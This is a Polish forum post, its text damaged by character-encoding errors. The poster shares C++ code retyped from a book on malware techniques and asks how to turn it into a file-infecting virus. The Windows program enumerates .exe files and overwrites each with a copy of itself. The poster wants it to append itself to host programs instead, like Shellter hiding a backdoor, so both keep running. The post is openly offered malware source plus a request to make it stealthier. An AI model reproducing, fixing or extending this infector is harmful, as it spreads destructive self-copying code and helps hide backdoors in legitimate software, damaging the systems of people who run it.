|
Witam mam problem, przepisa³em ten oto krótki kod z ksi±¿ki ("TECHNIKI TWÓRCÓW Z£O¦LIWEGO OPROGRAMOWANIA" D.Farbianiec) do mojego kompilatorka c++ oczywi¶cie najpierw namêczy³em siê z sam± kompilacj± kodu poniewa¿ kompilator ma 1000 i jeden sposób na skompilowanie prostego programu, no i pojawi³ siê problem. Jak zmieniæ powy¿szy kod aby nie kasowa³ zawarto¶ci pliku exe tylko niewiem, nadpisywa³ dopisywa³ siebie bez uszkadzania innego. W tej formie kod jest bezu¿yteczny poniewa¿ psuje ka¿dy plik zamieniaj±c go na siêbiê a ja chce aby w jednym pliku by³ i kalkulator i mój plik, a na razie jest tylko mój plik. Jak to zmieniæ i czy wogóle w takiej formie jest to mo¿liwe? chodzi mi o to aby to by³o cos w stylu bindowania plików lub to samo co robi shellter do zamaskowania backdoora w jakies tam prostej aplikacji. Krótko jest to robak/wirus który ma siê kopiowaæ do innych plików.
#include <Windows.h>
#include <Shlwapi.h>
#pragma comment(lib,"Shlwapi.lib")
char VirusName[MAX_PATH] = "\0";
HINSTANCE hInst = NULL;
DWORD dwReadWritten = NULL;
static void SearchDirectory(char * pszDirectory)
{
CHAR szSearch[MAX_PATH] = { 0 };
CHAR szDirectory[MAX_PATH] = { 0 };
HANDLE hFind = NULL;
WIN32_FIND_DATA FindData;
wsprintf(szSearch, "%s%s", pszDirectory, "*.exe");
hFind = FindFirstFileA(("C:\*.exe"), &FindData);
if (hFind == INVALID_HANDLE_VALUE)
{
return;
}
do
{
if (lstrcmp(FindData.cFileName, VirusName) != 0)
{
char szName[MAX_PATH] = "\0";
GetModuleFileName(NULL, szName, MAX_PATH);
CopyFile(szName, FindData.cFileName, FALSE);
}
} while (FindNextFileA(hFind, &FindData));
FindClose(hFind);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
hInst = GetModuleHandle(NULL);
char szCurrentPath[MAX_PATH] = "\0";
GetCurrentDirectory(MAX_PATH, szCurrentPath);
lstrcat("C:\\", "\\");
GetModuleFileName(NULL, VirusName, MAX_PATH);
lstrcpy(VirusName, PathFindFileName(VirusName));
SearchDirectory(szCurrentPath);
return EXIT_SUCCESS;
}
« Poprzedni temat | Nastêpny temat » |